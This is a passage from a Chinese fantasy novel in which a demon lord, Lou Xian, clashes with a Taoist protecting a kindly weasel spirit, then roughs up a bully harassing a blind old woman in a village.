庙宇内,排排烛火被一阵怪风掀起,神女像的影子落在庙宇墙上,静谧清幽。
在神像身后,一只白鼬精倏尔窜了出来,它跳到供台上,舔了舔供盘上早已没了气息的三黄鸡。
鸡脖子处的血液最是鲜美,白鼬精很是满意,不等将血液舔舐干净就迫不及待啃食起来。
白鼬精吃的忘我,丝毫没有注意到有人走进来。
一道凉飕飕的声音从白鼬精身后传来:“好吃么?”
埋在鸡身里的白鼬精猛然抬头,嘴上还沾着啃食后的血迹。
娄弦倚靠在门框处,悠然看着白鼬精惊慌的模样。
顾不得继续进食,白鼬精黑色的眼珠一转,抛下吃到一半的鸡身立刻朝庙宇外逃窜而去。
“想跑?”
娄弦目色促狭,抬手封了白鼬精的去路。
白鼬精撞在封印上狠狠飞回来在地上滚了三滚。
“哎呦!”一声哀痛下,原本摔在地上的白鼬精瞬间化为一个少女。
少女赤着脚,脚上带
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着一铜圈,一双如葡萄透亮的眼睛委屈又害怕看着娄弦。
娄弦走到她面前蹲下,托腮看着白鼬精:“我本只是来凑个热闹,没想把你怎么样。”
少女惊慌的神色正要放松下来,又听娄弦道:“但是现在不一样了,你身上有我的想要的东西。”
“非死不可了。”
娄弦话音一落,不等白鼬精反应过来,她手中凝了力就要取其性命。
察觉到这女人不是在说笑,白鼬精慌忙从怀中掏出一张符纸贴在娄弦额头。
“唐道长!”
什么东西?
娄弦不明所以,正要抬手去扯额前的符纸,一面妖幡倏尔飞来。
好在娄弦反应够快快速侧身,这才没有被妖幡伤到。
她扯下额前的符纸将其揉成一团,还未发作就听到一道熟悉的声音传来。
“又是你?”
娄弦抬眉,将手中的符纸丢到一侧,意外道:“好巧啊,唐道长。”
救兵前来,白小釉抓住唐渡的衣袍就往他身后躲。
唐渡微微抬手,一脸冷肃将白小釉护在身后。
娄弦见势稍稍偏头:“二位认识?”
一躲一护,恐怕不仅认识,还相熟的很。若非如此,这小妖怎么一唤唐渡他就来了。
江湖道士有妖不捉竟还将其护着,有点意思。
唐渡警惕看着娄弦,对身后的白小釉说:“小釉你先回去,这里交给我。”
白小釉拼命点头,撒开手就往庙宇外跑去。
娄弦眸光一扫,甩手将一根长戟丢了出去。
只听“铮”一声,天悲戟狠狠扎进门框。
乌黑发亮的戟柄挡在白小釉面前,拦了她的去路。
白小釉瞪大双眼跌坐在地,哆哆嗦嗦转头看向唐渡。
娄弦显然对唐渡的阻拦很不爽,敛了方才笑嘻嘻的面容,警告道:“劝你别多管闲事。”
女子身姿挺立,一袭红衣衬其更加冷傲。没了往日的戏谑玩笑,此时杀伐欲重的她更像是地狱来的魔头。
唐渡不知娄弦为何执意要杀白小釉,许是她本就嗜杀成性。
唐渡正视娄弦的眼睛,坚定了声音说:“我管定了。”
娄弦眯了眯眼,手中渐渐凝力。
就在那道紫光打向白小釉时,唐渡趁机拿妖幡一挡,提高了音量:“小釉!跑!”
不敢耽误时间,白小釉立刻化身原形从庙宇窜了出去。
娄弦欲要去追,唐渡快速拦了娄弦的去路。
娄弦心有不甘,抓了门框上的长戟朝唐渡杀去!
从前与人对战时,她心中只有一个念头,那就是让对方死!所以她章法无序,每一击都朝着要害打去。
几番轮回下来,唐渡发现娄弦只攻不守,他原想找机会擒住娄弦的空虚之处,可偏偏她速度极快,一下接着一下,根本不给他擒拿的机会。
娄弦越打越凶,唐渡渐渐有些吃力起来。
一个常年捉妖的道士,一个树敌万千的魔头,光是体力就差了一大截。
察觉唐渡体力不支,娄弦将天悲戟在手中转了个弯,扬起长戟就朝他胸口扎去。
唐渡目光一紧,引了妖幡来挡,只听一声细微的破裂之声,长戟穿过妖幡生生扎进胸口!
钝痛感袭来,唐渡发出一声闷哼,低头看去,腥血将衣袍染的深红,浸染大片。
若不是有妖幡在前缓冲,恐怕这一下直接就要了他的命!
娄弦面色狠厉,抓着长戟的手紧紧不放:“是你自找的。”
她好不容易走到今天这一步,说什么也不能放弃。
当初被人看轻,被人随意践踏的日子她再也不要过!
她要找回魂珠,重回刹冥台,永远做让人生畏的主!
没有人在意她又如何,没有人疼爱她又如何,只要她变得强大,让人畏惧,这些都不重要!
唐渡看着娄弦杀红的眼睛,死死抓着戟刃不放。
是错觉么?刚才那一闪而过的悲凉和恨意。
胸口的钝痛忽然抽离,裹着猩红血迹的刀戟从皮肉处撤出,唐渡瞬间脱力。
他捂着血流不止的伤口,摇摇晃晃从地上站起。
流了太多血,唐渡的脸色有些发白。
娄弦声色微凉:“带我去找她。”
“否则,杀了你。”
8. 湘城仙姑
夏虫在夜色中低鸣,微风簇浪,庙宇中大片烛火随风晃动,地上的斑驳血迹已有些愈合。
圆月高挂枝头,星夜黯淡无光,流萤掠过芦苇丛,为寂静的夜添了些许活力。
娄弦双手环胸倚靠在庙宇柱台,一脸冷漠看着唐渡。
唐渡胸口大片的血迹已用衣布止住,可脸色依旧有些惨白。
他双腿盘坐,紧闭双眼调理着内息。
娄弦下了死手,若非有妖幡抵挡,那一下恐怕凶多吉少。
一声清咳,唐渡缓缓睁开了眼。
他捂着胸口起身。
娄弦依旧是那副表情,无畏冷情,好像刚才动手伤他的另有其人。
“你为什么一定要杀小釉?”唐渡的声音有些发虚,一双墨色眼瞳直勾勾看着娄弦。
娄弦显然没有从坏心情里走出来,摸了摸自己的耳垂,漫不经心答:“与你何干?”
若不是这臭道士忽然出现坏她好事,这第五颗魂珠早就到手了,何至于在这跟他浪费时间。
唐渡见娄弦不愿回答,胸口处的伤又疼又胀,便也学着她的样子靠在庙宇柱台。
二人隔着一小段距离面面相视。
周围点燃的火烛跳动愈发剧烈,神女像立在庙宇中央,手作法印,低眉垂眸。
沉静许久,想是娄弦也不会说了。
唐渡紧抿的唇渐渐松开:“你不能杀她。”
声音像清晨落在叶面上的水路,清冽平静。
“你杀了她,云婆婆就只有一个人了。”
六年前,云婆婆在田间救了只受伤的白鼬精。
那时白小釉还未修成人形,中了田户的陷阱,是云婆婆细心照料,给它擦伤喂食。
白小釉不懂人情,整日跟在云婆婆身后东窜西窜。
刚种的油麦被白小釉踩坏了,云婆婆抓着它舍不得打,最后也只是轻轻念叨了几句。
夏日云婆婆晒谷,白小釉去帮忙,结果把新晒的谷子踩成一团,云婆婆又气又笑,最后又重新铺了一遍。
为了让白小釉睡的舒服,云婆婆特意在屋子里给它搭了个暖窝。
云婆婆的儿子阿正曾开玩笑,说云婆婆疼白小釉比他还多。
可当白小釉跳到他床榻弄乱他东西时,他也只是笑笑不语,悄悄给它挪了位置。
三人一鼬的日子过得清贫简单,却胜在幸福。
后来日子逐渐不太平,前头战乱纷纷,朝廷人手不够,开始四处征兵,年满十七的男子都得上战场。
有钱人家的父母舍不得自家儿子上战场,塞点银钱找点关系倒也能拖一拖。
可穷苦百姓家的孩子不行,典军校尉一至人一带,生死有命,皆无定准。
阿正上战场时,刚过完十七岁生辰。
云婆婆担心自己的儿子,出门前再三叮嘱,她什么都不求,也不要什么好名声,只要自己的儿子活着。
十七岁的少年郎拍着胸脯保证,等国事太平后,他一定回来孝敬母亲。
临走前他摸着白小釉的头,让她保护好母亲,不要总想着帮忙干活。
“小白鼬,等我回来啊。”
阿正回头挥了挥手,快步朝军队跑去。
斜阳拉长了少年的身影,像一只摸不到的纸船,越来越远,最后消失在水平线中,随波而去。
白小釉站在云婆婆旁边,抬头看她。
一个母亲此生的牵挂便拴在了这纸船上。
油灯燃尽,慈线着身。
……
外头天有些亮了,微光浸染云霭,如轻纱缓缓掀开,远处山峦在晨暮中若隐若现。
庙宇内的烛火燃了一夜,灯芯焦卷,蜡身熔了一半,凝在烛台。
昨夜用来止血的衣布已经彻底浸红。
娄弦坐在唐渡面前,看着他虚弱的面孔说:“你和我说这些做什么?想我心软么?”
少年满腔热血,抱着生还的希望上了战场。
可战场杀敌,九死一生。
洒在地上的热血还未变凉,新的血液又喷洒而来,溅的大地发烫。
暮色四合,寒鸦绕旗,士卒的躯体层层覆盖。
冰冷的长刀穿过胸腹,少年惊恐瞪大双眼,颤手去触覆了血的刀刃。
甲胄崩裂,他同战场上无数死不瞑目的躯体一样,不甘望着长空。
战鼓犹在,亡魂不息。
等儿归来的妇人日盼夜盼,清泪化作血泪,最后哭瞎了双眼没等来儿子归还的消息。
“不。”清寂的声音传来,“我是想告诉你,不论你出于什么目的,我都不会让你伤害其中一个人。”
唐渡面色憔悴,眼中却是无比固执与坚定。
世上的妖并非都是恶类。
师父曾训诫他,除恶妖,行善事,可行善事的妖与他们无异,杀不得,伤不得。
白小釉从未做过坏事,一心向善,不为云婆婆也为小釉,她没有随意杀之的理由。
唐渡捂着胸口缓缓起身,一副一战到底,绝不退让的架势。
娄弦看他执拗的模样,不咸不淡道:“你打不过我。”
“那我也绝不退步。”
“随你。”娄弦轻飘飘丢下两个字,转身朝庙宇外走去。
“你去哪儿?”唐渡满是警惕跟了上去。
胸口的伤还未痊愈,走两步便容易扯到伤口。
娄弦头也不回道:“饿了,想吃东西。”
湘城,满香酒楼。
娄弦抓起一个鸡腿塞进嘴里,手中拿了一个不够,又掐了只翅膀抓在手里。
唐渡看着桌旁叠成山的空碗,心中一阵无言。
娄弦扫了一眼唐渡,将碗里剩下的米饭扒干净,抬手叠在一旁的空碗上。
“说好了,这顿饭暂时保那白鼬精的性命。”娄弦抹了抹嘴,抬手喊店家,“小二,再来碗卤猪蹄,不,两碗!”
唐渡看着她满嘴流油的模样,十分嫌弃递过去一块帕子。
“你这是饿了多久?”
娄弦擦擦手,认真回想了一番说:“一路没吃过什么好东西,你知道的,我一个弱女子,也没什么钱,可不得饱一顿饿一顿么。”
唐渡眼角跳了跳,拿起筷子准备去夹一块白斩鸡。
筷子还没碰到那鸡肉,一股力量狠狠钳制住了他。
那个弱女子提着筷子阻拦,露出疑惑的表情:“你要吃肉?”
什么道理?他不能吃??
唐渡吐出一口气,尽量使自己的语气平和。
他强调:“我付的钱。”
娄弦手中使力,强行将唐渡的筷子撤了回去,纠正:“这是你暂时买白小釉性命的钱。”
言下之意,这桩买卖她是卖家,唐渡是买家,哪有卖了东西到手砍价的。
唐渡语塞,心中有怨气又不知朝哪儿发泄,只能不情不愿放下筷子看着娄弦吃。
那卤猪蹄是真香啊。
软糯脱骨,皮质弹牙有劲,一抿就化,每一处肉都吸满了卤汁的味道,油而不腻,格外下饭。
娄弦打了个饱嗝
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,将最后一只空碗叠在上方。
“吃饱了?”唐渡不温不火的说。
娄弦再次打了个响嗝,表示她不仅吃饱了,还吃的很好。
“店家,结账。”唐渡将几块银钱放在桌上。
这一顿都够他吃好几个月了。
娄弦心满意足走出酒楼。
彼时刚过早市,街上商贩还未完全撤去,此起彼伏的吆喝声一阵接着一阵。
唐渡将干瘪的钱袋揣进怀里,想了想,又从里面拿出两个铜钱,走到一家包子铺前买了两个包子。
“臭道士。”娄弦站在一侧,看着唐渡吃包子的模样不免好奇,“你说你一个捉妖道士,为了一只妖,破费这么多,值得么?”
唐渡不想搭理娄弦,慢慢将包子咽了下去,转身朝另一个方向走去:“如今饭也吃了,你答应我的,暂时不会找小釉麻烦。”
娄弦又恢复了往日的模样。
她走到唐渡跟前,面对着他,倒退着脚步戏谑:“你对那白鼬精有意?”
唐渡:“……”
见唐渡不答,不论真假,娄弦自顾哀惜起来:“人妖有别呀唐道长。”
唐渡顿了脚步,终于忍不住了:“你整日除了恶意戏弄别人,是不是没旁的事做了?”
“有啊。”娄弦两手一摊,“我要杀白小釉的嘛,是你不许。”
“你……”唐渡语塞。
罢了,不和傻子论长短,不和矮子争高低,就当是修养道心了。
唐渡袖袍一甩,加快了几步离开。
正说着,一个穿着鹅黄长裙的姑娘焦急朝唐渡跑来,脚上的铜圈随着少女的步伐前后晃动。
“唐道长唐道长,不好了不好了——”话说一半,白小釉看到唐渡身后的娄弦瞬间撤住了声。
她往唐渡的身侧躲了躲,一时忘了刚才要说的话。
唐渡微微朝前一挡,将白小釉挡在身前:“出什么事了?”
唐渡一提醒,白小釉这才想起方才要说的话。
“鲁屠今天又来了,非要云婆婆那块地,前些日你同他们说好的条件又不作数了,现在正堵在云婆婆小院门口闹事呢。”
“你给我的召符昨日在庙中用完了,只能化形跑出来找你了。”
鲁屠是云婆婆的邻居。
早在两年前他就看上了云婆婆的田地,那时他仗着云婆婆是个眼瞎老太,不经人同意就把这地占为己有。
后来白小釉化成原形去地里捣乱,鲁屠种什么她踩什么,鲁屠卖什么她吃什么,这才消停了段时间。
可鲁屠对这块地实在心痒痒。
不仅位置比自家的地好,面积都比自家的大,种出来的蔬果都比自家强,还能在集市卖个好价钱。
云婆婆没了丈夫儿子,自己还是个瞎眼的,白白浪费了这块良地。
鲁屠再三登门云婆婆都没松口,软的不行就来硬的,召集了村里的籁头时不时打扰云婆婆。
今日更是过分,直接将人堵在门口不让出门了。
正是现在,鲁屠推着一车烂菜叶堵在云婆婆门口,对着看热闹的邻里高喊。
“大伙儿来看看啊,原先说好的,云家老太的菜我替她去卖,收了银钱我们三七分,结果这几日给我的菜都是坏的。”
“前些日有客人从我这买了蔬菜回去,当天一家三口就吃坏了肚子,连着拉了好几天。”
“你们说我真是冤呐,好心替她收菜,又辛辛苦苦运到镇上去卖,结果出了事人家找我麻烦,这我找谁说理去啊。”
9. 闹事者
有几个不知从哪儿冒出来的村户,也在一旁帮腔:“鲁屠心肠好,帮着云家老太种地卖菜,这云老太怎么还算计人家。”
“是啊,吃坏了东西算谁的?出了这档子事儿,以后谁还做鲁屠的生意?断人财路犹如弑人父母,要我说,干脆将这地给了鲁屠,也算是有个交代。”
李五朝鲁屠使了使眼色,鲁屠立刻意会。
“云家老太,你也别躲在屋子里,咱们把话说清楚这事儿也就结了,我鲁屠也不是个不讲理的人。”
众人有一搭没一搭说着,也有些明事理的村民站出来替云婆婆说话。
鲁屠是铁了心要把那块地拿到手,叫了人在这起哄,凡是出言帮云婆婆说话的人都被他威胁了一番。
唐渡赶来时,鲁屠正带人敲着云婆婆的院门。
“鲁屠,原先说好你拿云婆婆的菜去集市上卖,拿了银钱与你三七分,怎又不作数了?”
唐渡沉着张脸走到鲁屠面前,将闹事的人隔开。
有了唐渡撑腰,白小釉也来了底气,挺胸昂首怒视他们。
鲁屠这些人往常都是和不逞之人打交道,什么礼数法则通通不放在眼里,便是要,就得不择手段得到,既得不到,大家的日子都别想好过。
鲁屠轻哼一声,脸上横肉一抖,满脸不屑的上下打量。
唐渡生颀长飘然,又长了张素净的脸,虽身姿挺立,可在鲁屠的眼里就是个没有威胁的白面书生。
先前他也来闹过,这蠢道士非但没把他怎么样,还同意了他先前的要求。
替云家老太卖蔬果,得到的银钱三七分。
不过这三七分的钱属实太少了些。
鲁屠心中不满。
若是能多得些,或者将那地让了他,这是最好不过了。
鲁屠清了清喉咙,煞有其事的说:“唐道长来的正巧,原先你们给我的那些菜都坏了,昨日有人买了这些藠头,一家三口都吃坏了肚子,今日来我摊点上闹,你评评理,我是不是冤的很?”
鲁屠推车上的藠头确实有些病恹恹的,绿的发深,可谁又能说的准是云婆婆的藠头出了问题。
鲁屠一口咬定又上门来闹,摆明了是想把事情闹大趁机多拿些,最好是将云婆婆的地也拿下。
唐渡当初答应这个提议,就是怕他一而再再而三找云婆婆麻烦,这才暂时将他稳住。
人心不足蛇吞象,被鲁屠这样的人缠上像是鞋底黏了沥青,不影响走路,却处处使绊。
李五不耐烦地说:“别和他们废话,要么赔钱要么赔地,这事儿总得给这说法!大伙说是不是!”
“是啊是啊,鲁屠一家就指着这摊点吃饭,现在这碗都被砸了,一家老小怎么办!”
“要我说,干脆将这地让给鲁屠,云老太眼疾未愈,不是白瞎了这块地嘛!”
起哄的都是鲁屠找来闹事的,他们一唱一和将唐渡白小釉挤在中间,一副不达目的不罢休的模样。
唐渡面色沉冷。
若这些人是妖,他当即起了妖幡将他们收了,可偏偏是些肉体凡胎的普通人。
职业道德素养不允许唐渡这么做。
要不说恶人还得恶人磨呢。
只听“啧啧”两声,娄弦一副看好戏的模样悠哉悠哉从后面走了过来。
方才见白小釉着急从集市跑来喊人,想是出了什么事,娄弦闲着也是闲着,一路跟到无垠村,顺便看看这白鼬精的藏身之处。
唐渡二人走的急,并未注意娄弦跟了上来。
那抹红衣一出来,唐渡只觉一个头两个大。
“你跟来作甚?”
心有余悸,白小釉还未从昨夜的惊吓中缓过神来。见到娄弦她下意识后缩了一下,躲到唐渡身后。
“唐道长,需要帮忙吗?”嘴上这么说,可娄弦的神色并未有诚意,反而更像是来看热闹的。
见来者是个女子,还是个看似手无缚鸡之力的女子,鲁屠更是不将她放在眼里。
“姑娘,你还是赶紧走远些,我们可不会怜香惜玉,回头真动起手来可别怪我们下手没轻重啊。”
鲁屠说的嘲讽,惹的李五几人哄然大笑。
他带的人多,一个女人能把他怎么样?最后还不是得跟这蠢道士一样,乖乖应了他的要求。
唐渡却是平静,看鲁屠的眼神甚至有些怜悯。
胸口的伤还隐隐作痛。
娄弦看起来可不像表面这么好惹,微微弯起的眸里是寒冰万丈,这朵水墨勾勒的海棠花是会杀人的!
“今日满香酒楼吃的如何?下次不若点些别的菜?”唐渡的话在此刻有些突兀。
娄弦却咂了咂嘴,像是在回味今日吃的卤猪蹄。
“可。”娄弦利落吐出一字。
唐渡补充:“别打死了。”
这说的是什么话?
他们几个大男人还能被一个女人打趴下不成?
鲁屠瞬觉自己被羞辱,心中怒气上来,当下撸了袖子就要去打娄弦。
谁知拳头还没碰到她,手腕处却被一股力量钳制了。
女子面色淡淡,一双瞳眸轻飘飘落在他脸上,好像未使什么劲儿,可手腕处碎骨的疼却存在真实。
鲁屠欲将手收回,可娄弦的五指生生将其禁锢,动弹不得。
女子的手愈发使劲,依稀听到一声骨裂。
鲁屠面色苍白,手腕处又痛又胀,龇牙咧嘴要将拳头缩回,可偏偏敌不过娄弦力气大。
“错了错了,女侠我错了,放手放手。”鲁屠痛苦成一团,拼命求饶。
娄弦却似没有听见,反手将其胳膊一扭,只听“咔哒”一声,伴随着鲁屠响彻云霄的天际哀嚎,鲁屠的胳膊断了。
他摇摇晃晃,还未站稳,又被娄弦一脚踹倒在地。
他正要爬起,娄弦走到他面前,一脚踩在手腕骨,颇有些恶趣味的说:“方才我听到你喊求饶了,是我听错了么?”
鲁屠疼的龇牙咧嘴。
他怎么也没想到,看着高高瘦瘦的姑娘,出手这么狠辣。
女子嘴角挂着玩笑,颇有兴致的看着他,好像是在看什么玩物。
“是是是,您没听错,我求饶,我认错,我再也不敢了,您大人有大量放过我吧。”
鲁屠哭嚎着求饶,娄弦踩着腕骨的脚依旧没有松开,反而踩深了几分。
又是一阵哀嚎。
娄弦有些为难的说:“没听太清。”
鲁屠贪生怕死
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,眼下被人拿捏,心知这是个不好惹的。
大丈夫能屈能伸,有什么不能低头的,索性闭了眼认命大喊:“我错了!我错了!我错了!”
方才还气焰高涨的鲁屠被一个姑娘压着打,不免有看热闹的人发出嘻笑。
鲁屠听在耳里也不能发作,只能默默咬牙忍着。
等逮到机会,一定狠狠教训教训这臭丫头!
手腕处的力道松了,鲁屠以为娄弦就此罢手,谁知一睁眼,她手中不知何时变出了一把短刀。
娄弦依旧是一副笑嘻嘻的模样。
她蹲到鲁屠面前,嘴上虽挂着笑,可眼底的冰寒却冻的让人打颤。
“你不会在心里默默盘算着,怎么收拾我吧?”
鲁屠寒毛倒立。
这丫的什么都没说呢,她是怎么听出来的!
鲁屠打了个激灵,嘴还没来得及张,明晃晃的匕首瞬间朝他眼睛扎来!
要死!来真的!
鲁屠吓得眼睛一闭。
心颤了许久,预期的疼痛没有传来。
他哼哧着气,额头被吓出冷汗,风一吹凉飕飕的。
鲁屠缓缓睁开眼,锐利的刀尖就在他瞳孔上方。
差指甲盖这么点厚度,就差这么点距离,他的左眼就废了。
唐渡的表情有些严肃。
他紧紧抓着娄弦的手腕不放,声色郑重:“可以了。”
若不是唐渡及时出手阻拦,娄弦这一刀已经下去了。
悬着的心终于落地了,鲁屠咽了咽口水,却始终不敢动弹,生怕一不小心刮到自己。
娄弦侧目看着唐渡,手却没有撤回的意思:“那怎么行呢唐道长,你没听过为虺弗摧的道理吗?”
现在不将其置于死地,日后等着他来报复自己么?
娄弦做事,从不留下后患。否则树敌太多,他们一致对抗自己怎么办?
唐渡依旧没有松口,像昨日在仙姑庙那样执着看着娄弦。
“给他点教训就可以了,不必取人性命。”
娄弦纳闷极了,一脸稀奇看着唐渡。
这鲁屠可不是什么好人,一而再再而三上门挑衅,不达目的不罢休,甚至还得寸进尺想多拿些银钱,这样的人,死了也就死了,有什么好阻拦的。
“唐道长。”娄弦的语气有些不明,“你可真是,菩萨心肠。”
听不出是褒扬还是讽刺,娄弦慢慢松了五指,那把短刀像风一样倏尔消失了。
鲁屠这才吐出一口气,像是从阎罗殿捡回一条命。
这姑娘身上的血性比谁都重,若是真把她惹急了,下回这刀子可不是只有指甲盖的距离了,恐怕已经进了自己身体。
想到这,鲁屠后怕的打了个激灵。
娄弦缓缓起身,松了脚,居高临下看着鲁屠,眼底带着对他的漠视:“要我送你么?”
“不不不不……”鲁屠的舌头打结成一块儿,连滚带爬从地上爬起,连同李五几人头也不回的跑了。
看着几人狼狈离去的背影,白小釉还没缓过神来,躲在唐渡身后弱弱的问:“唐道长,他们下次要是再来可怎么办?”
唐渡缓缓收回目光,笃定道:“他们不会再来了。”
10. 留下
屋子里点了油灯,依旧有些暗蒙蒙的。
屋内的陈设极其简朴,一方木榻放置在东侧,青色的粗麻帐幔小心敛起,靠窗的榆木桌上放着粗粝茶器。
整个小院不大,歪斜的竹篱笆圈起一方鸡圈,靠墙处还支着一架葡萄藤,绿油油的爬满藤架,几串葡萄在夜风下憨态晃动。
院角还摆着粗陶水缸,水瓢如游船漂浮在上边,一切都是慢悠悠的。
娄弦逛了一圈又回到屋内,此时云婆婆已经醒了。
早上鲁屠来闹事的时候,白小釉怕惊到云婆婆,故施法叫她睡了过去,对外发生的一切云婆婆并不知情。
听闻家中来了客人,云婆婆说什么都要见一见。
她的眼睛在早些年哭瞎了,是白小釉日日夜夜耗尽心血,这才修复一些。
虽不能完全看得明白,可至少能看到眼前事物了。
眼前的姑娘是个模糊的身影,穿着靓红裙袍,身形高挑修长,五官看的不清,可也能猜出是个俊俏姑娘。
“听唐道长说,你帮了他一个大忙,可真是谢谢你了。”云婆婆笑的和善。
娄弦以为云婆婆是个愁苦悲悯的老太太,没成想慈爱近人,身体还康健得很。
她细细端详着云婆婆的模样。
一身靛蓝粗布短衣,衣口处洗得有些发白,头上裹着青布头巾,几缕银发从鬓角钻出,随意垂在耳旁。
衣着朴素却得体简约,一眼望去就叫人心生好感。
“对了,明日你有什么想吃的吗,婆婆下厨给你做。”
“婆婆,你眼睛不好就别忙活了,明日我来吧。”白小釉坐在云婆婆身旁怯怯开口。
平日里她可不是这个模样,只是面前坐着的是娄弦,一想到昨日今日种种,她就觉得这女人可怕的很。
“不用,我有什么想吃的自会告诉唐道长,他会备好的。”娄弦笑眯眯看着唐渡,仿佛一切已经安排妥当。
唐渡面无波动。
不等唐渡说话,云婆婆率先开口了:“娄姑娘不清楚,唐道长平时云游惯了鲜少时间留在无垠村,不好叫他动手,还是我——”
“无妨。”唐渡清声打断,“还是我来吧,毕竟,娄姑娘帮了我一个大忙。”
说完,唐渡无声看了眼娄弦。
既如此,云婆婆也不好说什么。
天色已不早,几人准备歇下。
白小釉习惯和云婆婆住在一处,另一间客房长期为唐渡备着,娄弦一出现屋子便不好分了。
对娄弦来说倒是没所谓。
自九巨山脉破封以来,她什么地方没睡过,只要能有个遮风挡雨的地方就行。
见娄弦朝柴房走去,唐渡叫住了她。
“你睡我屋。”
娄弦误以为自己听错了,定了脚步问:“你说什么?”
不等回答,唐渡已然朝柴房走去。
见唐渡朝自己的方向走来,娄弦不禁意外:“唐道长,你是要将屋子让给我,自己睡柴房吗?”
唐渡似乎已经习惯了娄弦的阴阳怪气。
这回他的表情没崩,一脸淡定自若看着娄弦:“别动我屋里的东西。”
说完利落将门关上,连一句说话的机会都不留给娄弦。
娄弦“啧啧”两声,拍了拍被柴门溅到衣服上的轻灰,哼着小曲儿去了唐渡的屋子。
她本就没打算睡柴房。
一路走来这么辛苦,好不容易能睡个踏实,自然是睡地越舒服越好。
唐渡此人心底仁厚,定不会真看她一个女子睡柴房。
果然,不费吹灰之力,混到了房间。
打开门,迎来一阵清冽竹香,夹杂着些许墨香。
唐渡的屋子极其简单,桌案上放着几本道书,砚台边缘凝结着干涸的朱砂,狼毫笔端正搁在笔山上。
屋内整齐干净,被子也铺地平整,想来是个板正自律之人。
娄弦扫视一圈,满意得躺在床榻之上。
被子上残留着唐渡的气息,是那抹熟悉的清竹香,闻着让人舒适安心。
娄弦已经很久没有睡过床了,昨夜又折腾到天亮,此刻倦感袭来,安稳睡了过去。
一夜无梦。
日光照进屋舍,尘埃在光色朦胧中漂浮,外头暖风飘过,吹动葡萄架上的树叶簌簌作响。
屋内传来一阵饭香,娄弦翻了个身,迷迷瞪瞪睁开眼。
日上竿头,估摸着快过巳时。
娄弦伸着懒腰打开房门,唐渡正端着碗红烧肉从厨房出来。
他轻飘飘看了娄弦一眼,冷不丁说:“醒来的还真是时候。”
娄弦听出了这话中的意思,无非是讽刺她起得晚。
她也不恼,自顾寻了位置坐下。
“多谢唐道长款待。”
嘴上说着谢,却正眼未瞧唐渡,率先拿起了筷子。
那筷子还未碰到红烧肉,唐渡止了她说:“等云婆婆她们出来一起吃。”
“为何?”娄弦故意挑了块又大又紧实的香肉塞进嘴里,当着唐渡的面咀嚼起来。
唐渡:……
两人正说着,白小釉搀着云婆婆从主屋出来,云婆婆爽快道:“不必等我们,娄姑娘饿了就先吃。”
唐渡无言看了娄弦一眼,转身进厨房将最后一碗菜端出来。
几人围桌而坐。
葡萄藤遮了不少日晒,偶有几阵凉风吹来,在这夏日里莫要太惬意。
唐渡话虽不多,可这一手菜确实做的不错。
素炒三丝,清炖马蹄羹,红熬鸡,娄弦就是被这些东西香醒的。
远处传来几声知了,几人有一搭没一搭的闲聊着。
“娄姑娘是哪里人?瞧这模样恐是父母捧在手里长大的。”
娄弦生的高挑,眉目清秀带着些英气。低头不语时又像江南春景,浓淡相宜。
长得漂亮的人总会让人欢喜些。
原闷头吃饭的娄弦筷子一滞,似是想到了什么,娄弦吐出几个字:“无父无母,野生野长。”
语气平淡,仿佛是在说这菜味道不错。
娄弦从来没有在外提过自己的家人。
无父无母,其实是有的,只是——
他们不爱她。
她所谓的父亲,是刹冥台至高无上的魔尊娄焱,一手魄天炽火让人闻风丧胆,无人匹敌。
可偏偏不可一世的魔尊却对一人情根深种。
那便是娄弦的母亲。
一个布衣凡人,没有长寿之命,没有泼天修为,一个再普通不过的凡人。
他将她囚禁在身边,断了她在人界所有的亲人,连同她的未婚夫。
娄焱给她所拥有的一切,权势、修为,乃至性命,可这一切都不是她想要的。
她想要逃离,想要自由。
为了让心爱的女人完全属于自己,娄焱杀了她的心上人,逼她怀上自己的孩子,原以为这样她就能死心塌地留下来。
可是,她不爱这个属于他们的孩子。
她恨这个孩子!
是这个孩子最终毁灭了她!
从小到大,娄弦听母亲说地最多的话就是:你为什么要平安活下来?
她是不被期待的孩子。
娄弦从未感受过母亲的嘘寒问暖,她甚至连正眼都未瞧过自己。
捧在手心长大。
听着愈发讽刺。
众人不约而同停了筷子,衬的娄弦更加冷静。
“娄姑娘……”
云婆婆踌躇开口,却被娄弦笑着打断了:“这世上无父无母之人多了去了,野蛮生长不比旁人长的差。”
娄弦的表情很无谓。
这么多年来她早就习惯了。
不被人期待又如何,不被人喜欢又如何,她夺了魔尊的魄天炽火,坐上了尊主之位,所有人都惧怕她。
这就够了。
云婆婆叹了口气,将筷子放在桌上,颇有些伤感的说:“亲失子,痛彻肺腑,子失怙恃,亦如五脏俱焚,娄姑娘,这些年难为你了。”
父母失去孩子会痛苦,孩子失去双
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亲何尝不会痛苦。
根脉相连,血肉交融,岂是生死就能斩断的。
想到战死沙场的儿子,云婆婆不禁悲上心头,看向娄弦的眼神越发怜惜。
娄弦盯着桌面一言不发。
她或许并不想承认,热血溅到她脸上的那天,她流下了一滴泪。
这顿饭最终在沉默无言中结束了。
饭后,云婆婆有午休的习惯,白小釉替云婆婆喂了汤药后轻手轻脚从屋内走出来,一转身,白小釉差点吓得把手中的汤碗丢出去。
娄弦不知何时站在了白小釉身后,正一脸兴致看着她。
想到前日娄弦丢出来的那根银戟,白小釉忍不住吞了吞口水。
“唐——”
“嘘。”娄弦将食指放在唇前,好心提醒白小釉,“云婆婆刚睡下呢。”
“道长”两个字被白小釉生生咽了下去,她怯怯看着娄弦,不知道她要做什么。
娄弦笑着朝白小釉走近一步,很是贴心的说:“放心,唐渡保了你一命,我暂时不会杀你。”
白小釉松了一口气,立刻又警觉起来。
既然不会杀自己,这女魔头靠自己这么近做什么,她是在闻什么味道吗?
娄弦稍稍后撤一步,开门见山问:“白日里你留在无垠村照顾云婆婆,入了夜才去仙姑庙?”
只是……问问题?
见娄弦没有下一步反应,白小釉紧张的心这才放松些。
“嗯,等云婆婆睡下后,我才会去仙姑庙。”
这就说得通了,为什么白日入庙引魂铃没响,直到晚上白小釉出现,引魂铃才发作。
像是怕娄弦误会什么,白小釉又着急补道:“我没害过人,也没做过坏事!”
“唐道长说,院子里的鸡不能吃,别人院子里的鸡也不能吃,所以我才去仙姑庙换鸡吃,唐道长说这叫劳有所获。”
白小釉认真看着娄弦。
她是好妖,不仅没做过坏事,还帮人解决了不少问题。
唐道长说,他们不会抓行善积德的好妖。
嗯,她是好妖,不会被抓走。
娄弦看着白小釉郑重其事的样子,不免觉得新鲜。
她害没害过人做没做过坏事,跟娄弦有什么关系。
要论起做坏事,娄弦所做的坏事那可是一箩筐都说不完。
她其实是想问:“云婆婆知道你的真身吗?”
白小釉愣了愣。
